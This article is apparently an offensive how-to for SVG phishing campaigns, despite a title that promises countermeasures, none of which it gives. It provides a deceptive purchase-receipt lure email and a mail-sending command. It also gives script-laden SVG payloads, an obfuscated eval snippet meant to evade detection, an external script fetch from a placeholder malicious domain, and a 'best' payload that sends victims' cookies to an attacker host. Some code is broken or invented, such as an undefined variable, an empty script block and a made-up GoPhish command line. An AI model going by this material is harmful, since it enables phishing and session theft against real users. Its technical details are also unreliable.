Leveraging SVG Files in Phishing: Techniques and Countermeasures

The use of SVG files in phishing campaigns offers a surprising but effective method to bypass traditional security filters. SVG, or Scalable Vector Graphics, is typically considered a safe format due to its role in displaying vector images on the web. However, this very attribute makes it an attractive alternative payload delivery mechanism for attackers seeking to evade detection. A high-yield SVG-based phishing attack will exploit SVG’s capability to embed script-based behaviors to deliver malicious payloads stealthily. The goal here is to craft an attack that appears innocuous and trustworthy but is capable of executing critical payloads once opened. By the end of this article, you will understand how to leverage SVGs in phishing scenarios to maximize engagement while minimizing the risk of detection.

Prerequisites and Setup

Before you begin setting up an SVG-based phishing campaign, you will need a few key tools and configurations. At the core, this technique requires understanding SVG file structures and how to embed JavaScript within them effectively. You will also need SMTP servers configured to handle the distribution of the payload. Here are the detailed prerequisites and setup instructions:

Understanding SVG files: SVGs are XML-based files used for rendering two-dimensional images. Familiarity with XML and SVG tags is crucial to embedding a script component.
Graphics editor: Use tools like Adobe Illustrator or Inkscape to create SVG files. These platforms allow you to embed scripts in a non-obtrusive way.
JavaScript knowledge: The exploit payload within the SVG will often make use of JavaScript, which can run as soon as the SVG is loaded, making it essential to know how to script effective exploits.
SMTP server setup: Configure an SMTP server using the GoPhish tool or any SMTP server utility to handle spam evasion and deliver SVG-laden emails.

Once you have the tools ready, proceed with generating an SVG that looks benign but executes a specific command once loaded. This involves modifying XML paths and embedding JavaScript that will stay dormant until the SVG file is rendered by a viewer or browser capable of running embedded scripts.

Step-by-Step Execution

Embedding JavaScript in an SVG File

Begin with a basic SVG file example. Here’s a simple SVG content with additional JavaScript embedded:


&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;

    &lt;script type="text/javascript"&gt;

        <![CDATA[

        alert('Your session has been compromised!');

        ]]>

    &lt;/script&gt;

    &lt;circle cx="50" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/&gt;

&lt;/svg&gt;

This SVG file contains a JavaScript alert that triggers when the SVG is loaded. This example demonstrates the basic concept of executing JavaScript within the SVG format, which can be expanded into more harmful actions depending on the attack scenario.

Crafting the Phishing Email

Compose a phishing email that appears legitimate, embedding the SVG in a convincing manner. Here’s an example of how to incorporate the SVG into an email:


Subject: Urgent: Action Required on Your Recent Purchase!



Hi [Recipient Name],



Thank you for your recent purchase from our store. Attached is a summary of your transaction. Please review it at your earliest convenience to ensure all details are correct.



Best regards,

Customer Service Team

The email subject and body are crafted to induce urgency and make the recipient click the attachment hastily. The email should ideally direct attention to a seemingly benign SVG attachment that contains our payload.

Distributing the SVG Payload

Leverage an SMTP server to dispatch these emails. Configure your SMTP utility to send emails using the crafted subject and body:


goPhish --smtp-host smtp.companydomain.com --port 587 --username yourusername --password yourpassword --send-email

The above command for GoPhish directs the email through your configured SMTP server. Ensure that the embedded SVG is attached as a file that will open automatically upon download and display in the user’s default image viewer or web browser.

Advanced Variations

Obfuscating JavaScript

An advanced approach involves utilizing minimized obfuscation libraries to obscure the embedded JavaScript within the SVG. This increases the difficulty for static analysis tools to detect malicious script behaviors.


function %23%40%24%26(){var \u006Dx="\141l\145rt\50'Yo\u0075r t\61bl\145t h\141s\nb\145\145n\nc\157mp\162omised!'\51";eval(m)}

This obfuscation makes it harder for automated detection tools to parse the malicious intent of your JavaScript, leveraging character encoding and variable renaming techniques to hide its true purpose.

Dynamic Payload Loading

Use an SVG to load an additional payload dynamically by referencing external scripts or content that are fetched upon SVG rendering:


&lt;image xlink:href="http://maliciousdomain.com/loadscript.js" /&gt;

By embedding code that fetches an external script, or content, the SVG can reach out to controlled servers to pull down more extensive exploitation frameworks, making initial detection challenging as the malicious activity source is external.

Good / Better / Best

Good: A functional SVG payload with minimal obfuscation that runs an obvious script. These attempts often get flagged easily but successfully demonstrate the vector.


&lt;svg>&lt;script&gt;alert('Pwned!');&lt;/script&gt;&lt;/svg&gt;

This example simply demonstrates the core concept of embedded script execution in SVG. It might evade very basic filters but risks immediate detection upon casual inspection.

Better: An obfuscated script in an SVG file with a tailored email context. This makes it plausible and more difficult to detect.


&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;

    &lt;script type="text/javascript"&gt;

        <![CDATA[

        // JavaScript optimized using encoding methods

        ]]>

    &lt;/script&gt;

    &lt;rect width="300" height="100" fill="gray"/&gt;

&lt;/svg&gt;

When embedded in an email, this style of SVG payload is more convincing, and the encoded JavaScript helps bypass some heuristic detections.

Best: A highly integrated attack using SVGs to initiate further phishing actions without alerting the target.


&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;

    &lt;script type="text/javascript"&gt;

        <![CDATA[

        var img = new Image(); img.src = 'http://malicioussite.com/track?d=' + document.cookie;

        ]]>

    &lt;/script&gt;

    &lt;/svg&gt;

    &lt;image xlink:href="http://safeimage.com/placeholder.svg" /&gt;

This version builds in a refined social engineering strategy, harnesses tracking techniques for real-time actions, and maintains the victim’s trust in the surrounding email context and imagery.

Related Concepts

Understanding how SVG files can be leveraged in phishing is a gateway to exploring other forms of code-based payloads, such as HTML smuggling or macro-enabled document phishing, which rely on similar principles of obfuscation and delivery. Through these methods, the attacker can bypass email gateways and execute complex attacks remotely. As SVG is a vector format, consider how other vector formats might also be abused.